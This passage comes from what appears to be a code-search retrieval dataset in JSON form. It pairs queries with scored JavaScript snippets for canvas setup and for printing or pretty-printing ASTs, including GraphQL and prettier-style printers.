document.createElement('canvas')\n /**\n * The offscreen canvas context.\n * @type {CanvasRenderingContext2D}\n * @access private\n */\n this.offscreenContext = this.offscreenCanvas.getContext('2d')\n this.offscreenCanvas.webkitImageSmoothingEnabled = false\n this.offscreenContext.imageSmoothingEnabled = false\n\n if (!this.pendingChanges) {\n /**\n * Stores the changes from the text editor and the minimap.\n * @type {Array<Object>}\n * @access private\n */\n this.pendingChanges = []\n }\n }", "title": "" }, { "docid": "dce50b3d9292866833ae4441a19a75ff", "score": "0.5572724", "text": "function createCanvas() {\r\n container = document.querySelector('.content--canvas');\r\n\tcanvas = {\r\n\t\ta: document.createElement('canvas'),\r\n\t\tb: document.createElement('canvas')\r\n\t};\r\n\tcanvas.b.style = `\r\n\t\tposition: fixed;\r\n\t\ttop: 0;\r\n\t\tleft: 0;\r\n\t\twidth: 100%;\r\n\t\theight: 100%;\r\n `;\r\n // append the rendering canvas to the container\r\n container.appendChild(canvas.b);\r\n // get the drawing context for both canvases\r\n\tctx = {\r\n\t\ta: canvas.a.getContext('2d'),\r\n\t\tb: canvas.b.getContext('2d')\r\n };\r\n center = [];\r\n}", "title": "" }, { "docid": "036c59f7206b332b0a68338cc6bddb42", "score": "0.5553069", "text": "function safeGetContext(i_Canvas, i_Context) {\n\ttry \n\t{ \n\t return i_Canvas.getContext(i_Context); \n\t}\n\tcatch (e) \n\t{ \n\t\tDebug.Trace(i_Context);\n\t\tDebug.Trace(e);\n\t\treturn null;\n\t}\n}", "title": "" }, { "docid": "5c25f92136461c2ce582156eeb1d4dd9", "score": "0.5549907", "text": "createCanvas(width, height) {\n return ThinEngine._createCanvas(width, height);\n }", "title": "" }, { "docid": "48c70ba6888afb9b8914471f8de6c73d", "score": "0.55470824", "text": "getContext () {\n return this._ctx\n }", "title": "" }, { "docid": "850c92d6e6bab332bd3894c6e8ee27a6", "score": "0.55407524", "text": "returnCanvasAndContext(canvasAndContext) {\n const { width, height } = canvasAndContext.canvas;\n const key = (width << 17) + (height << 1);\n this.canvasPool[key].push(canvasAndContext);\n }", "title": "" }, { "docid": "a53f98aa6cc11f8c1d4f0f5c8f84aec9", "score": "0.55323094", "text": "function _createCanvas(_ref2) {\n var width = _ref2.width,\n height = _ref2.height;\n\n var canvas = document.createElement('canvas');\n canvas.id = 'lumagl-canvas';\n canvas.style.width = Number.isFinite(width) ? width + 'px' : '100%';\n canvas.style.height = Number.isFinite(height) ? height + 'px' : '100%';\n // adds the canvas to the body element\n __WEBPACK_IMPORTED_MODULE_3__utils__[\"pageLoadPromise\"].then(function (document) {\n var body = document.body;\n body.insertBefore(canvas, body.firstChild);\n });\n return canvas;\n}", "title": "" }, { "docid": "39599050c495d37ea7b82f45279bea94", "score": "0.55156606", "text": "function getCanvas() {\n const canvas = document.createElement('canvas');\n canvas.width = '500';\n canvas.height = '300';\n\n return canvas;\n}", "title": "" }, { "docid": "cf7684682bf52c686e72c1e0cc3b1f55", "score": "0.5515255", "text": "function initialise_canvas(cnvs)\n\t{\n\t\tcanvasEl\t\t\t\t\t\t\t= cnvs;\n\t\tcanvas\t\t\t\t\t\t\t\t= new fabric.Canvas(cnvs);\n\n\t\tcanvasEl.id\t\t\t\t\t\t\t= 'canvas';\n\t\tcanvasEl.fabric\t\t\t\t\t\t= canvas;\n\n\t\tcanvas.hoverCursor\t\t\t\t\t= 'pointer';\n\t\tfabric.Object.prototype.selectable\t= false;\n\n\t\tvar screen_w_to_h\t\t\t\t\t= window.innerWidth / window.innerHeight;\n\n\t\tcanvas.setHeight(window.innerHeight);\n\t\tcanvas.setWidth(window.innerHeight * 1.26);\n\t\t// Default width is ~1.26 times the height.\n\t\t// 1096 / 868, to be specific.\n\n\t\treturn window.draw;\n\t}", "title": "" }, { "docid": "694bc93b550783dc08507836d846917c", "score": "0.5498271", "text": "function touchCanvas(x, y) {\n\t\tif(eyedropperMode) {\n\t\t\teyedropperPicking = true;\n\t\t\tconsole.log(\"Getting canvas color from \" + x + \", \" + y);\n\t\t\tgetCanvasColor(x, y);\n\t\t} else {\n\t\t\tpaint = true;\n\t\t\tnewStroke(x, y);\n\t\t}\n\t}", "title": "" }, { "docid": "281a2180fd04309a83fdaae7b8f050c2", "score": "0.5484849", "text": "function initCanvas() {\n canvasConfig.displayedCanvas = document.getElementById(\"boidsCanvas\");\n //map the canvas size to the displayed size\n canvasConfig.displayedCanvas.width= canvasConfig.displayedCanvas.clientWidth;\n canvasConfig.displayedCanvas.height= canvasConfig.displayedCanvas.clientHeight;\n //save the size\n canvasConfig.w = canvasConfig.displayedCanvas.clientWidth;\n canvasConfig.h = canvasConfig.displayedCanvas.clientHeight;\n \n canvasConfig.offscreenCanvas = document.createElement('canvas');\n canvasConfig.offscreenCanvas.width = canvasConfig.displayedCanvas.width;\n canvasConfig.offscreenCanvas.height = canvasConfig.displayedCanvas.height;\n \n\n canvasConfig.displayedCanvas.addEventListener('mouseout', function(evt) { \n mousePos.out = true;\n }, false);\n\n canvasConfig.displayedCanvas.addEventListener('mousemove', function(evt) {\n var rect = canvasConfig.displayedCanvas.getBoundingClientRect();\n\n mousePos.out = false;\n\n mousePos.x = evt.clientX - rect.left;\n mousePos.y = evt.clientY - rect.top;\n }, false);\n }", "title": "" }, { "docid": "d8fbb83eba40eb0729a83a943e494ca0", "score": "0.5479095", "text": "function _prepareCanvas() {\n var bodyEl = $('body');\n\n //\n // Initially, we set canvas to body width/height\n //\n if (!_cfg.noFullscreen) {\n _canvasEl.attr('width', bodyEl.width());\n _canvasEl.attr('height', bodyEl.height());\n }\n _ctx = _canvasEl[0].getContext('2d');\n //\n // Fills all canvas by black color\n //\n _ctx.rect(0, 0, _canvasEl.width(), _canvasEl.height());\n _ctx.fillStyle='#000000';\n _ctx.fill();\n //\n // This data will be used for pixels access\n //\n _imgData = _ctx.createImageData(1, 1);\n _data = _imgData.data;\n //\n // Alpha channel should be in maximum value\n //\n _data[3] = 255;\n }", "title": "" }, { "docid": "9d72c5c88e0997363e9297a4f7081f3b", "score": "0.54746443", "text": "function DrawContext(ctx) {\n\t\t$.extend(this, ctx); // copy the target, data and options attribute\n\t}", "title": "" }, { "docid": "baa1af8be42ea78909c27cda1add1db6", "score": "0.5467685", "text": "function initCanvas() {\n\t\tcanvas = $('canvas#mainCanvas')[0];\n\t\tcontext = canvas.getContext('2d');\n\t\t\n\t\tcanvas.width = window.innerWidth;\n\t\tcanvas.height = window.innerHeight;\n\t}", "title": "" }, { "docid": "5a673fb5aab9006c92277888b67fe5b9", "score": "0.5463924", "text": "function getContext(_, ctx) {\n return ctx;\n }", "title": "" }, { "docid": "5a673fb5aab9006c92277888b67fe5b9", "score": "0.5463924", "text": "function getContext(_, ctx) {\n return ctx;\n }", "title": "" }, { "docid": "ff2e9b4e4504b6c7c7c98978c4703789", "score": "0.5453652", "text": "function client2canvas(clientX, clientY) {\n var rect = canvas.getBoundingClientRect();\n var canvasX = (clientX - rect.left) / rect.width * canvas.width;\n var canvasY = (clientY - rect.top) / rect.height * canvas.height;\n\n return [canvasX, canvasY];\n}", "title": "" }, { "docid": "4ff41f60112dc5e745e9b9ad71af6344", "score": "0.5446811", "text": "constructor(canvasId) {\n assertParameters(arguments, String);\n \n this._canvas = document.getElementById(canvasId);\n this._context = this._canvas.getContext('2d');\n }", "title": "" }, { "docid": "a8fca6f107638241c0140a905db02ed8", "score": "0.5433508", "text": "function createCanvas() {\n\n gridCanvas = document.createElement('canvas');\n gridCanvas.setAttribute('class', 'screen');\n element.append(gridCanvas);\n gridContext = gridCanvas.getContext('2d');\n\n canvas = document.createElement('canvas');\n canvas.setAttribute('class', 'screen');\n element.append(canvas);\n context = canvas.getContext('2d');\n sizeDirty = true;\n\n }", "title": "" }, { "docid": "1827345e8220bc058efda8019475ab84", "score": "0.5421616", "text": "function calculateWidthAndHeightOfCanvas(canvas) {\n canvas.width = drawCanvas.calculateWidth(canvas);\n canvas.height = drawCanvas.calculateHeight(canvas);\n return canvas;\n}", "title": "" }, { "docid": "0af8f799be17032c2c2f5faa701079fc", "score": "0.54160124", "text": "function getGraphics(canvas){\n\tvar k;\n\tfor(k=0;k<canvases.length;k=k+1){\n\t\tif(canvas==canvases[k][0]){\n\t\t\treturn canvases[k][1];\n\t\t}\n\t}\n\tgr = new jsGraphics(canvas);\n\tcurrArr = [canvas,gr];\n\tcanvases.push(currArr);\n\treturn gr;\n}", "title": "" } ]
0c727cc5b5276295e19e6283392af16d
Copyright (c) 2015present, Facebook, Inc. This source code is licensed under the MIT license found in the LICENSE file in the root directory of this source tree. Converts an AST into a string, using one set of reasonable formatting rules.
[ { "docid": "d29c2cb6bc133b07412d155e5874e373", "score": "0.528209", "text": "function print(ast) {\n\t return visit(ast, { leave: printDocASTReducer });\n\t}", "title": "" } ]
[ { "docid": "7bd0006d477dc3c8a86f94913a13beff", "score": "0.70142", "text": "function PrettyPrinter(ast) {\n\tvar result = writeString(ast);\n\n\t// remove the outer parenthesis.\n\tresult = result.substring(1, result.length - 1);\n\n\treturn result;\n}", "title": "" }, { "docid": "513b20485bc36dd50387109af6d44306", "score": "0.6813232", "text": "stringify(ast) {\n let result = '';\n for (let i of ast) {\n if (typeof i === 'object') {\n result += `(${brackets$1.stringify(i)})`;\n continue\n }\n\n result += i;\n }\n return result\n }", "title": "" }, { "docid": "32a808deb0f8c75183e188063b337161", "score": "0.6782374", "text": "stringify(ast) {\n let result = ''\n for (let i of ast) {\n if (typeof i === 'object') {\n result += `(${brackets.stringify(i)})`\n continue\n }\n\n result += i\n }\n return result\n }", "title": "" }, { "docid": "d4766bc9332454e6a25741e99cb605c2", "score": "0.64252096", "text": "static transformToString(tree) {\r\n // Alias this method so it doesn't create super long expressions inside\r\n const ts = Parser.transformToString;\r\n if (tree === null) {\r\n // Sometimes, valueRanges contains a null entry in order to display more\r\n // than one comma in a row. Don't trip on this, just return empty string.\r\n return '';\r\n }\r\n switch (tree.type) {\r\n case GRAMMAR.WHERE_CRITERIA:\r\n // Take each child, perform transformToString on them, then join together\r\n return tree.children.map(ts).join('');\r\n case GRAMMAR.CRITERIA:\r\n if (tree.valueRanges) {\r\n return `${ts(tree.meta)} ${ts(tree.operator)} ${tree.valueRanges.map(ts).join(',')}`;\r\n } else {\r\n return `${ts(tree.meta)} ${ts(tree.operator)}`;\r\n }\r\n case GRAMMAR.GROUP:\r\n return `(${ts(tree.group)})`;\r\n case GRAMMAR.NOT:\r\n return 'NOT';\r\n case GRAMMAR.META_VALUE:\r\n return ts(tree.value);\r\n case GRAMMAR.META_VALUE_RANGE:\r\n return `${ts(tree.from)}-${ts(tree.to)}`;\r\n case LEXEMES.AND:\r\n case LEXEMES.OR:\r\n return ` ${tree.text} `;\r\n case LEXEMES.STRING:\r\n return `'${tree.text}'`;\r\n default:\r\n return tree.text;\r\n }\r\n }", "title": "" }, { "docid": "b158daef7e2b582e0ba43e97509fc84d", "score": "0.61953455", "text": "function astToJsStructure(ast){\n // terminal symbol\n if( typeof ast == \"string\" || typeof ast == \"number\") {\n return ast;\n }\n else if (ast.length == 1) {\n return ast[0];\n }\n else if (ast[0] == \"str.at\") {\n return astToJsStructureP(ast[1]) + \"[\" + astToJsStructure(ast[2]) + \"]\";\n }\n else if (ast[0] == \"str.++\" || ast[0] == \"+\") {\n return astToJsStructureP(ast[1]) + \" + \" + astToJsStructureP(ast[2]);\n }\n else if (ast[0] == \"str.substr\") {\n return astToJsStructureP(ast[1]) +\n \".substring(\" + astToJsStructure(ast[2]) + \" , \" + astToJsStructure(ast[3]) + \"+1)\";\n }\n else if (ast[0] == \"str.len\") {\n return astToJsStructureP(ast[1]) +\n \".length\";\n }\n else if (ast[0] == \"mod\") {\n return astToJsStructureP(ast[1]) +\n \" % \" +\n astToJsStructureP(ast[2]);\n }\n else if (ast[0] == \"-\") {\n return astToJsStructure(ast[1]) + \" - \" + astToJsStructureP(ast[2]);\n }\n else if (ast[0] == \"*\") {\n return astToJsStructureP(ast[1]) + \" * \" + astToJsStructureP(ast[2]);\n }\n else if (ast[0] == \"str.replace\") {\n return astToJsStructureP(ast[1]) +\n \".replace(\" +\n astToJsStructure(ast[2]) +\n \", \" +\n astToJsStructure(ast[3]) +\n \")\";\n }\n else if (ast[0] == \"str.prefixof\") {\n return astToJsStructureP(ast[2]) +\n \".includes(\" + astToJsStructure(ast[1]) + \")\" + \" && \" + astToJsStructureP(ast[1]) +\n \".includes(\" + astToJsStructure(ast[2]) + \"[0])\";\n }\n else if (ast[0] == \"str.suffixof\") {\n return astToJsStructureP(ast[2]) +\n \".includes(\" + astToJsStructure(ast[1]) + \")\" + \" && \" + astToJsStructureP(ast[1]) +\n \".includes(\" + astToJsStructure(ast[2]) + \"[\"+ astToJsStructureP(ast[2]) + \".length-1])\";\n }\n else if (ast[0] == \"str.indexof\") {\n return astToJsStructureP(ast[1]) +\n \".indexOf(\" + astToJsStructure(ast[2]) + \",\" + astToJsStructure(ast[3]) + \")\";\n }\n else {\n console.error(\"Unhandled AST form: \"+ast+\" : \"+(typeof ast));\n }\n}", "title": "" }, { "docid": "f4ee0e5990e004bd126617b67dffab34", "score": "0.61831445", "text": "function formatTree(node, ast, noRoot){\n if(isObject(node)){\n const nodeKeys = Object.keys(node);\n const nodeValues = Object.values(node);\n if(node.terminal)\n return {name: node.terminal}\n if(node.nonTerminal)\n return formatTree(ast.find(n => n.identifier == node.nonTerminal), ast, true)\n if(nodeKeys.includes('sequence')){\n return {name: 'sequence', children: nodeValues.map((n) => formatTree(n,ast,true))[0]}\n }\n if(nodeKeys.includes('repetition')){\n return {name: 'repetition', attributes: ['skippable: '+node.skippable],children: [formatTree(node.repetition,ast,true)]}\n }\n if(nodeKeys.includes('choice')){\n return {name: 'choice', children: nodeValues.map((n) => formatTree(n,ast,true))[0]}\n }\n if(nodeKeys.includes('optional')){\n return {name: 'optional', children: [formatTree(node.optional,ast, true)]}\n }\n if(nodeKeys.includes('definition')){\n return {name: node.identifier, children: [formatTree(node.definition,ast, true)]}\n }\n }else if(isArray(node) && noRoot){\n return node.filter(n => !n.comment).map((n) => formatTree(n,ast,true));\n }else if(isArray(node) && !noRoot){\n const ast = node;\n const rootNode = node.find(n => n.identifier == 'root');\n if(rootNode){\n return formatTree(rootNode, ast, true);\n }else{\n const name = \"Expressions\";\n const children = node.filter(n => !n.comment).map((n) => formatTree(n,ast,true));\n return {name, children};\n }\n }\n}", "title": "" }, { "docid": "6d099470c6b2aacdadeef530aae391fd", "score": "0.6177565", "text": "function astToJsStructure(ast){\n // terminal symbol\n if( typeof ast == \"string\" || typeof ast == \"number\") {\n return ast;\n }\n else if (ast.length == 1) {\n return ast[0];\n }\n else if (ast[0] == \"str.at\") {\n return astToJsStructureP(ast[1]) + \"[\" + astToJsStructure(ast[2]) + \"]\";\n }\n else if (ast[0] == \"str.++\" || ast[0] == \"+\") {\n return astToJsStructureP(ast[1]) + \" + \" + astToJsStructureP(ast[2]);\n }\n else if (ast[0] == \"str.substr\") {\n return astToJsStructureP(ast[1]) +\n \".substring(\" + astToJsStructure(ast[2]) + \" , \" + astToJsStructure(ast[3]) + \")\";\n }\n else if (ast[0] == \"str.len\") {\n return astToJsStructureP(ast[1]) +\n \".length\";\n }\n else if (ast[0] == \"-\") {\n return astToJsStructure(ast[1]) + \" - \" + astToJsStructureP(ast[2]);\n }\n else if (ast[0] == \"*\") {\n return astToJsStructureP(ast[1]) + \" * \" + astToJsStructureP(ast[2]);\n }\n else if (ast[0] == \"str.replace\") {\n return astToJsStructureP(ast[1]) +\n \".replace(\" +\n astToJsStructure(ast[2]) +\n \", \" +\n astToJsStructure(ast[3]) +\n \")\";\n }\n else if (ast[0] == \"str.prefixof\") {\n return astToJsStructureP(ast[2]) +\n \".includes(\" + astToJsStructure(ast[1]) + \")\" + \" && \" + astToJsStructureP(ast[1]) +\n \".includes(\" + astToJsStructure(ast[2]) + \"[0])\";\n }\n else if (ast[0] == \"str.suffixof\") {\n return astToJsStructureP(ast[2]) +\n \".includes(\" + astToJsStructure(ast[1]) + \")\" + \" && \" + astToJsStructureP(ast[1]) +\n \".includes(\" + astToJsStructure(ast[2]) + \"[\"+ astToJsStructureP(ast[2]) + \".length-1])\";\n }\n else if (ast[0] == \"str.indexof\") {\n return astToJsStructureP(ast[1]) +\n \".indexOf(\" + astToJsStructure(ast[2]) + \",\" + astToJsStructure(ast[3]) + \")\";\n }\n else {\n console.error(\"Unhandled AST form: \"+ast+\" : \"+(typeof ast));\n }\n}", "title": "" }, { "docid": "e02c9a8092d25657a62ec48fce60db36", "score": "0.617507", "text": "function ASTProduce(formatNodes) {\n this.formatNodes = formatNodes;\n}", "title": "" }, { "docid": "89f4a92c8166f914d6468783363ff882", "score": "0.60961133", "text": "function print(str, indent, inline) {\n var lines = str.split('\\n');\n lines.forEach(function (line, i) {\n if (line && (inline && i > 0 || !inline)) {\n process.stdout.write(' '.repeat(indent));\n }\n\n var nl = i === lines.length - 1 ? '' : '\\n';\n process.stdout.write(\"\" + line + nl);\n });\n} // Print the AST in a nicely formatted tree format for debuggin", "title": "" }, { "docid": "89f4a92c8166f914d6468783363ff882", "score": "0.60961133", "text": "function print(str, indent, inline) {\n var lines = str.split('\\n');\n lines.forEach(function (line, i) {\n if (line && (inline && i > 0 || !inline)) {\n process.stdout.write(' '.repeat(indent));\n }\n\n var nl = i === lines.length - 1 ? '' : '\\n';\n process.stdout.write(\"\" + line + nl);\n });\n} // Print the AST in a nicely formatted tree format for debuggin", "title": "" }, { "docid": "b781374b433f7fc9efd2f932641420fe", "score": "0.60829556", "text": "toString(keepOriginalFormatting) {\n const lines = [];\n if (keepOriginalFormatting) {\n for (const statement of this.statements.enumerateForward())\n lines.push(statement.sourceText);\n }\n else\n for (const { statement, level } of this.eachDescendant()) {\n const indent = \"\\t\" /* tab */.repeat(level);\n lines.push(indent + statement.toString());\n }\n return lines.join(\"\\n\");\n }", "title": "" }, { "docid": "d7490749453ec38d67afbdb8d7474f13", "score": "0.6063925", "text": "function printWithComments(ast) {\n return graphql.visit(ast, {\n leave: {\n Name: node => node.value,\n Variable: node => `$${node.name}`,\n // Document\n Document: node => `${node.definitions\n .map(defNode => `${defNode}\\n${defNode[0] === '#' ? '' : '\\n'}`)\n .join('')\n .trim()}\\n`,\n OperationTypeDefinition: node => `${node.operation}: ${node.type}`,\n VariableDefinition: ({ variable, type, defaultValue }) => `${variable}: ${type}${wrap(' = ', defaultValue)}`,\n SelectionSet: ({ selections }) => block(selections),\n Field: ({ alias, name, arguments: args, directives, selectionSet }) => join([wrap('', alias, ': ') + name + wrap('(', join(args, ', '), ')'), join(directives, ' '), selectionSet], ' '),\n Argument: addDescription(({ name, value }) => `${name}: ${value}`),\n // Value\n IntValue: ({ value }) => value,\n FloatValue: ({ value }) => value,\n StringValue: ({ value, block: isBlockString }, key) => isBlockString ? printBlockString(value, key === 'description') : JSON.stringify(value),\n BooleanValue: ({ value }) => (value ? 'true' : 'false'),\n NullValue: () => 'null',\n EnumValue: ({ value }) => value,\n ListValue: ({ values }) => `[${join(values, ', ')}]`,\n ObjectValue: ({ fields }) => `{${join(fields, ', ')}}`,\n ObjectField: ({ name, value }) => `${name}: ${value}`,\n // Directive\n Directive: ({ name, arguments: args }) => `@${name}${wrap('(', join(args, ', '), ')')}`,\n // Type\n NamedType: ({ name }) => name,\n ListType: ({ type }) => `[${type}]`,\n NonNullType: ({ type }) => `${type}!`,\n // Type System Definitions\n SchemaDefinition: ({ directives, operationTypes }) => join(['schema', join(directives, ' '), block(operationTypes)], ' '),\n ScalarTypeDefinition: addDescription(({ name, directives }) => join(['scalar', name, join(directives, ' ')], ' ')),\n ObjectTypeDefinition: addDescription(({ name, interfaces, directives, fields }) => join(['type', name, wrap('implements ', join(interfaces, ' & ')), join(directives, ' '), block(fields)], ' ')),\n FieldDefinition: addDescription(({ name, arguments: args, type, directives }) => `${name + wrap('(', join(args, ', '), ')')}: ${type}${wrap(' ', join(directives, ' '))}`),\n InputValueDefinition: addDescription(({ name, type, defaultValue, directives }) => join([`${name}: ${type}`, wrap('= ', defaultValue), join(directives, ' ')], ' ')),\n InterfaceTypeDefinition: addDescription(({ name, directives, fields }) => join(['interface', name, join(directives, ' '), block(fields)], ' ')),\n UnionTypeDefinition: addDescription(({ name, directives, types }) => join(['union', name, join(directives, ' '), types && types.length !== 0 ? `= ${join(types, ' | ')}` : ''], ' ')),\n EnumTypeDefinition: addDescription(({ name, directives, values }) => join(['enum', name, join(directives, ' '), block(values)], ' ')),\n EnumValueDefinition: addDescription(({ name, directives }) => join([name, join(directives, ' ')], ' ')),\n InputObjectTypeDefinition: addDescription(({ name, directives, fields }) => join(['input', name, join(directives, ' '), block(fields)], ' ')),\n ScalarTypeExtension: ({ name, directives }) => join(['extend scalar', name, join(directives, ' ')], ' '),\n ObjectTypeExtension: ({ name, interfaces, directives, fields }) => join(['extend type', name, wrap('implements ', join(interfaces, ' & ')), join(directives, ' '), block(fields)], ' '),\n InterfaceTypeExtension: ({ name, directives, fields }) => join(['extend interface', name, join(directives, ' '), block(fields)], ' '),\n UnionTypeExtension: ({ name, directives, types }) => join(['extend union', name, join(directives, ' '), types && types.length !== 0 ? `= ${join(types, ' | ')}` : ''], ' '),\n EnumTypeExtension: ({ name, directives, values }) => join(['extend enum', name, join(directives, ' '), block(values)], ' '),\n InputObjectTypeExtension: ({ name, directives, fields }) => join(['extend input', name, join(directives, ' '), block(fields)], ' '),\n DirectiveDefinition: addDescription(({ name, arguments: args, locations }) => `directive @${name}${wrap('(', join(args, ', '), ')')} on ${join(locations, ' | ')}`),\n },\n });\n}", "title": "" }, { "docid": "bc4e8d8b6e24fb84bbeca20402d79194", "score": "0.6009214", "text": "function format(str, opts){\n _options.set(opts);\n\n // we remove indent and trailing whitespace before since it's simpler, code\n // is responsible for re-indenting\n str = _indent.removeAll(str);\n str = _ws.removeTrailing(str);\n str = _br.removeEmptyLines(str);\n\n var ast = walker.parse(str);\n _ws.sanitizeWhiteSpaces( ast.startToken );\n walker.moonwalk(ast, transformNode);\n\n str = ast.toString();\n\n return str;\n}", "title": "" }, { "docid": "73208e6604ceec45e90fafa7a406f637", "score": "0.60010445", "text": "function heronToText(ast) {\n var v = new HeronToTextVisitor();\n var cb = new code_builder_1.CodeBuilder();\n var now = new Date();\n cb.pushLine('// Generated on ' + now.toDateString() + ' ' + now.toTimeString());\n v.visitNode(ast, cb);\n return cb.lines.join('');\n}", "title": "" }, { "docid": "37489f288d69e9cf1c2a0c51e79fd9f9", "score": "0.5960609", "text": "function processTree(ast) {\r\n var returnValue;\r\n if (ast.type == 'literal') {\r\n returnValue = isNaN(ast.value) ? ast.value : Number(ast.value);\r\n } else if (ast.type == 'identifier') {\r\n returnValue = 'var('+ast.name+')';\r\n } else {\r\n var args = ast.args? ast.args.expression: ast.expression? [ast.expression]: [ast.left, ast.right];\r\n args = args.map(function(arg){ return processTree(arg)});\r\n if (ast.type == 'function') {\r\n returnValue = ast.name.name + '(' + args.join(',') + ')' ;\r\n \r\n } else {\r\n //recursive call\r\n returnValue = '(' + (ast.format == 'binary'? transformBinaryOperation(ast.operation, args): global.sqlToJsOps[ast.operator] +' '+ args[0]) + ')';\r\n }\r\n }\r\n return returnValue;\r\n}", "title": "" }, { "docid": "07d069d6381fc3ad215b035c916d60e6", "score": "0.5955748", "text": "function cmdFlowAST(file) { return `${FLOW_BIN} ast ${file} --pretty` }", "title": "" }, { "docid": "be44b1da73f03ba4b495a4e8b26fb1e2", "score": "0.5888321", "text": "function printASTToConsole(programNumber, errors, warnings, ast, symbolTable){\r\n\t//print the ast\r\n\r\n\tvar tree = ast.split(\"\\n\");\r\n\t$('#ast').append('<h3 class=\"alert alert-info\">Printing AST for program '+ programNumber + '</h3>');\r\n\tvar i;\r\n\tfor(i = 0; i < tree.length -1; i++){\r\n\t\t$('#ast').append(\"<div class=\\\"alert alert-success\\\" id=\\\"abstractSyntaxTree\" + (i+programNumber*10000) + \"\\\"></div>\");\t\r\n\t\t$('#abstractSyntaxTree' + (i+programNumber*10000)).text(tree[i]);\r\n\t}\r\n\r\n\t// print the symbol table\r\n\r\n\tif(!errors.length > 0 && symbolTable){\r\n\t\t$('#ast').append('<h3 class =\"alert alert-info\"> Printing Symbol Table for Program ' + programNumber + '</h3>');\r\n\t\t$('#ast').append('<h4 class=\"alert alert-info\"> Name | Type | Scope | Line | Initalized </h4>');\r\n\t\tfor(i = 0 ; i < symbolTable.length ; i ++){\r\n\t\t\tvar j;\r\n\t\t\tfor(j = 0; j < symbolTable[i].length ; j++){\r\n\t\t\t\t// all this does is prints on the different types using different amount of spaces \r\n\t\t\t\t// to make it pretty\r\n\t\t\t\tif(symbolTable[i][j].type == \"int\"){\r\n\t\t\t\t\t$('#ast').append('<div class=\"alert alert-info\">' + symbolTable[i][j].name \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].type \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].scope \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].line \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].initalized \r\n\t\t\t\t\t\t+ ' ' + '</div>');\r\n\t\t\t\t}else if(symbolTable[i][j].type == \"string\"){\r\n\t\t\t\t\t$('#ast').append('<div class=\"alert alert-info\">' + symbolTable[i][j].name \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].type \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].scope \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].line \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].initalized \r\n\t\t\t\t\t\t+ ' ' + '</div>');\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$('#ast').append('<div class=\"alert alert-info\">' + symbolTable[i][j].name \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].type \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].scope \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].line \r\n\t\t\t\t\t\t+ '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;' + symbolTable[i][j].initalized \r\n\t\t\t\t\t\t+ ' ' + '</div>');\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t// print any warnings\r\n\t\tif(warnings.length > 0){\r\n\t\t\tvar i;\r\n\t\t\tfor(i = 0; i < warnings.length; i ++){\r\n\t\t\t\t$('#ast').append('<div class =\"alert alert-warning\">' + warnings[i] + '</div>');\r\n\t\t\t}\r\n\t\t} \r\n\t\t\r\n\t//error case\r\n\t}else{\r\n\t\t$('#ast').append('<br />');\r\n\t\t$('#ast').append('<div class =\"alert alert-danger\">' + errors[0] + '</div>');\r\n\t\t$('#ast').append('<div class =\"alert alert-warning\"> Ommitting Symbol Table because errors found.</div>');\r\n\t}\r\n\t$('#ast').append('<br />');\r\n\t$('#consoleContent')[0].scrollTop = $('#consoleContent')[0].scrollHeight;\r\n\r\n\tdocument.getElementsByClassName('consoleTab')[2].click();\r\n}", "title": "" }, { "docid": "195476f6ad3bb7406861638f0448c85f", "score": "0.5802828", "text": "function astToTypescript(ast, maybeResolve, config, translateSpan) {\n var translator = new AstTranslator(maybeResolve, config, translateSpan);\n return translator.translate(ast);\n }", "title": "" }, { "docid": "058d1a7dfeff9537c7d129d5482b3dcd", "score": "0.5792509", "text": "function writeString(ast) {\n\tvar result = \"\",\n\t\tnodeType = ast.nodeType;\n\t\t\n\t\t\n\n\tif (nodeType === NodeType.ATOM) {\n\t\tresult += ast.label;\n\t} else {\n\t\tvar logicSymbol = getSymbol(nodeType),\n\t\t\tleft = ast.children[0],\n\t\t\tright = ast.children[1];\n\t\t\t\n\t\tresult += \"(\" + writeString(left) + logicSymbol + writeString(right) + \")\";\n\t}\n\n\treturn result;\n}", "title": "" }, { "docid": "a19d594d9da0ef6deb0b3908d9e75e18", "score": "0.57888204", "text": "function printAstToDoc(ast,options){var alignmentSize=arguments.length>2&&arguments[2]!==undefined?arguments[2]:0;var printer=options.printer;if(printer.preprocess){ast=printer.preprocess(ast,options);}var cache=new Map();function printGenerically(path,args){var node=path.getValue();var shouldCache=node&&_typeof(node)===\"object\"&&args===undefined;if(shouldCache&&cache.has(node)){return cache.get(node);}// We let JSXElement print its comments itself because it adds () around\n// UnionTypeAnnotation has to align the child without the comments\nvar res;if(printer.willPrintOwnComments&&printer.willPrintOwnComments(path)){res=callPluginPrintFunction(path,options,printGenerically,args);}else{// printComments will call the plugin print function and check for\n// comments to print\nres=comments.printComments(path,function(p){return callPluginPrintFunction(p,options,printGenerically,args);},options,args&&args.needsSemi);}if(shouldCache){cache.set(node,res);}return res;}var doc$$2=printGenerically(new fastPath(ast));if(alignmentSize>0){// Add a hardline to make the indents take effect\n// It should be removed in index.js 